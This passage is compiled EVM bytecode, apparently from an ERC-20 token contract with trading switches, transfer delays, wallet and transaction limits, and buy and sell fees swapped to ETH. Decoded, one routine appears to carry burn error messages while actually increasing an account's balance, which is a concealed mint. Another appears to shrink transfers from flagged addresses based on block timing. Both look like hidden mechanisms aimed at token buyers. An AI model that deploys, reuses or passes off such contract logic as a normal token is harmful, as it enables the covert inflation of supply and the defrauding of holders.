168015611c825750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cd85750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e59577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d875750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e585743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054108015611e18575043601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b611e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4e90613c3a565b60405180910390fd5b5b5b600f60029054906101000a900460ff161561215757601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f115750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fb857600e54811115611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5290613ccc565b60405180910390fd5b600d54611f6783610d51565b82611f7291906134d8565b1115611fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faa90613d38565b60405180910390fd5b612156565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561205b5750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120aa57600e548111156120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c90613dca565b60405180910390fd5b612155565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661215457600d5461210783610d51565b8261211291906134d8565b1115612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90613d38565b60405180910390fd5b5b5b5b5b5b600061216330610d51565b90506000601154821190508080156121875750601260009054906101000a900460ff165b80156121a05750600f60019054906101000a900460ff16155b80156121f65750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561224c5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122a25750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122e7576001600f60016101000a81548160ff0219169083151502179055506122cb83612d32565b6000600f60016101000a81548160ff0219169083151502179055505b6000600f60019054906101000a900460ff161580156123505750601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a65750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561253757601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124315761242a606461241c600b5488612d7d90919063ffffffff16565b612d9390919063ffffffff16565b9050612513565b601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124b2576124ab606461249d600c5488612d7d90919063ffffffff16565b612d9390919063ffffffff16565b9050612512565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125115761250e8588612da9565b94505b5b5b600081111561252857612527873083612ab9565b5b80856125349190613dea565b94505b612542878787612ab9565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b290613e90565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811115612642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263990613f22565b60405180910390fd5b818101600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126e69190613066565b60405180910390a3505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff8111156127d6576127d5613f42565b5b6040519080825280602002602001820160405280156128045781602001602082028036833780820191505090505b509050308160008151811061281c5761281b61347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128e59190613f86565b816001815181106128f9576128f861347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061295e307f0000000000000000000000000000000000000000000000000000000000000000846115b4565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129e29594939291906140ac565b600060405180830381600087803b1580156129fc57600080fd5b505af1158015612a10573d6000803e3d6000fd5b505050505050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1f90613aaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8e90613b3c565b60405180910390fd5b612ba2838383612e6d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2090614178565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d199190613066565b60405180910390a3612d2c848484612e72565b50505050565b6000612d3d30610d51565b905060008103612d4d5750612d7a565b6000819050601154811115612d625760115490505b82811115612d6e578290505b612d77816127b9565b50505b50565b60008183612d8b919061350c565b905092915050565b60008183612da1919061357d565b905092915050565b600080603290506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205443612dfd9190613dea565b905060008282612e0d919061350c565b9050600060648211612e2b57816064612e269190613dea565b612e2e565b60005b9050600060648289612e40919061350c565b612e4a919061357d565b9050612e60600082612e7790919063ffffffff16565b9550505050505092915050565b505050565b505050565b600081831015612e875781612e89565b825b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ecb578082015181840152602081019050612eb0565b60008484015250505050565b6000601f19601f8301169050919050565b6000612ef382612e91565b612efd8185612e9c565b9350612f0d818560208601612ead565b612f1681612ed7565b840191505092915050565b60006020820190508181036000830152612f3b8184612ee8565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612f7882612f4d565b9050919050565b612f8881612f6d565b8114612f9357600080fd5b50565b600081359050612fa581612f7f565b92915050565b6000819050919050565b612fbe81612fab565b8114612fc957600080fd5b50565b600081359050612fdb81612fb5565b92915050565b60008060408385031215612ff857612ff7612f43565b5b600061300685828601612f96565b925050602061301785828601612fcc565b9150509250929050565b60008115159050919050565b61303681613021565b82525050565b6000602082019050613051600083018461302d565b92915050565b61306081612fab565b82525050565b600060208201905061307b6000830184613057565b92915050565b60008060006060848603121561309a57613099612f43565b5b60006130a886828701612f96565b93505060206130b986828701612f96565b92505060406130ca86828701612fcc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126130f9576130f86130d4565b5b8235905067ffffffffffffffff811115613116576131156130d9565b5b602083019150836020820283011115613132576131316130de565b5b9250929050565b60008060006040848603121561315257613151612f43565b5b600084013567ffffffffffffffff8111156131705761316f612f48565b5b61317c868287016130e3565b9350935050602061318f86828701612fcc565b9150509250925092565b600060ff82169050919050565b6131af81613199565b82525050565b60006020820190506131ca60008301846131a6565b92915050565b6000602082840312156131e6576131e5612f43565b5b60006131f484828501612fcc565b91505092915050565b61320681612f6d565b82525050565b600060208201905061322160008301846131fd565b92915050565b60006020828403121561323d5761323c612f43565b5b600061324b84828501612f96565b91505092915050565b6000806040838503121561326b5761326a612f43565b5b600061327985828601612fcc565b925050602061328a85828601612fcc565b9150509250929050565b6000819050919050565b60006132b96132b46132af84612f4d565b613294565b612f4d565b9050919050565b60006132cb8261329e565b9050919050565b60006132dd826132c0565b9050919050565b6132ed816132d2565b82525050565b600060208201905061330860008301846132e4565b92915050565b61331781613021565b811461332257600080fd5b50565b6000813590506133348161330e565b92915050565b6000806040838503121561335157613350612f43565b5b600061335f85828601612f96565b925050602061337085828601613325565b9150509250929050565b60008060006040848603121561339357613392612f43565b5b600084013567ffffffffffffffff8111156133b1576133b0612f48565b5b6133bd868287016130e3565b935093505060206133d086828701613325565b9150509250925092565b600080604083850312156133f1576133f0612f43565b5b60006133ff85828601612f96565b925050602061341085828601612f96565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061346157607f821691505b6020821081036134745761347361341a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134e382612fab565b91506134ee83612fab565b9250828201905080821115613506576135056134a9565b5b92915050565b600061351782612fab565b915061352283612fab565b925082820261353081612fab565b91508282048414831517613547576135466134a9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358882612fab565b915061359383612fab565b9250826135a3576135a261354e565b5b828204905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061360a603983612e9c565b9150613615826135ae565b604082019050919050565b60006020820190508181036000830152613639816135fd565b9050919050565b7f416c72656164792064697361626c656421000000000000000000000000000000600082015250565b6000613676601183612e9c565b915061368182613640565b602082019050919050565b600060208201905081810360008301526136a581613669565b9050919050565b7f546f6b656e3a206e6f2045544820696e2074686520636f6e7472616374000000600082015250565b60006136e2601d83612e9c565b91506136ed826136ac565b602082019050919050565b60006020820190508181036000830152613711816136d5565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613774602583612e9c565b915061377f82613718565b604082019050919050565b600060208201905081810360008301526137a381613767565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613806602683612e9c565b9150613811826137aa565b604082019050919050565b60006020820190508181036000830152613835816137f9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613898602483612e9c565b91506138a38261383c565b604082019050919050565b600060208201905081810360008301526138c78161388b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061392a602283612e9c565b9150613935826138ce565b604082019050919050565b600060208201905081810360008301526139598161391d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613996602083612e9c565b91506139a182613960565b602082019050919050565b600060208201905081810360008301526139c581613989565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a02601d83612e9c565b9150613a0d826139cc565b602082019050919050565b60006020820190508181036000830152613a31816139f5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a94602583612e9c565b9150613a9f82613a38565b604082019050919050565b60006020820190508181036000830152613ac381613a87565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b26602383612e9c565b9150613b3182613aca565b604082019050919050565b60006020820190508181036000830152613b5581613b19565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613b92601683612e9c565b9150613b9d82613b5c565b602082019050919050565b60006020820190508181036000830152613bc181613b85565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e202054727920616761696e206c617465722e0000000000000000000000602082015250565b6000613c24603583612e9c565b9150613c2f82613bc8565b604082019050919050565b60006020820190508181036000830152613c5381613c17565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613cb6603583612e9c565b9150613cc182613c5a565b604082019050919050565b60006020820190508181036000830152613ce581613ca9565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d22601383612e9c565b9150613d2d82613cec565b602082019050919050565b60006020820190508181036000830152613d5181613d15565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613db4603683612e9c565b9150613dbf82613d58565b604082019050919050565b60006020820190508181036000830152613de381613da7565b9050919050565b6000613df582612fab565b9150613e0083612fab565b9250828203905081811115613e1857613e176134a9565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e7a602183612e9c565b9150613e8582613e1e565b604082019050919050565b60006020820190508181036000830152613ea981613e6d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f0c602283612e9c565b9150613f1782613eb0565b604082019050919050565b60006020820190508181036000830152613f3b81613eff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050613f8081612f7f565b92915050565b600060208284031215613f9c57613f9b612f43565b5b6000613faa84828501613f71565b91505092915050565b6000819050919050565b6000613fd8613fd3613fce84613fb3565b613294565b612fab565b9050919050565b613fe881613fbd565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61402381612f6d565b82525050565b6000614035838361401a565b60208301905092915050565b6000602082019050919050565b600061405982613fee565b6140638185613ff9565b935061406e8361400a565b8060005b8381101561409f5781516140868882614029565b975061409183614041565b925050600181019050614072565b5085935050505092915050565b600060a0820190506140c16000830188613057565b6140ce6020830187613fdf565b81810360408301526140e0818661404e565b90506140ef60608301856131fd565b6140fc6080830184613057565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614162602683612e9c565b915061416d82614106565b604082019050919050565b6000602082019050818103600083015261419181614155565b905091905056fea26469706673582212201ceb1b6315dd4d2830bbfd29377a28bd1246853542d817d582b7cd369367cdf964736f6c634300081700330000000000000000000000001fe3641d3b3e0c8552e7f3e8c7e53e25ea1a4d05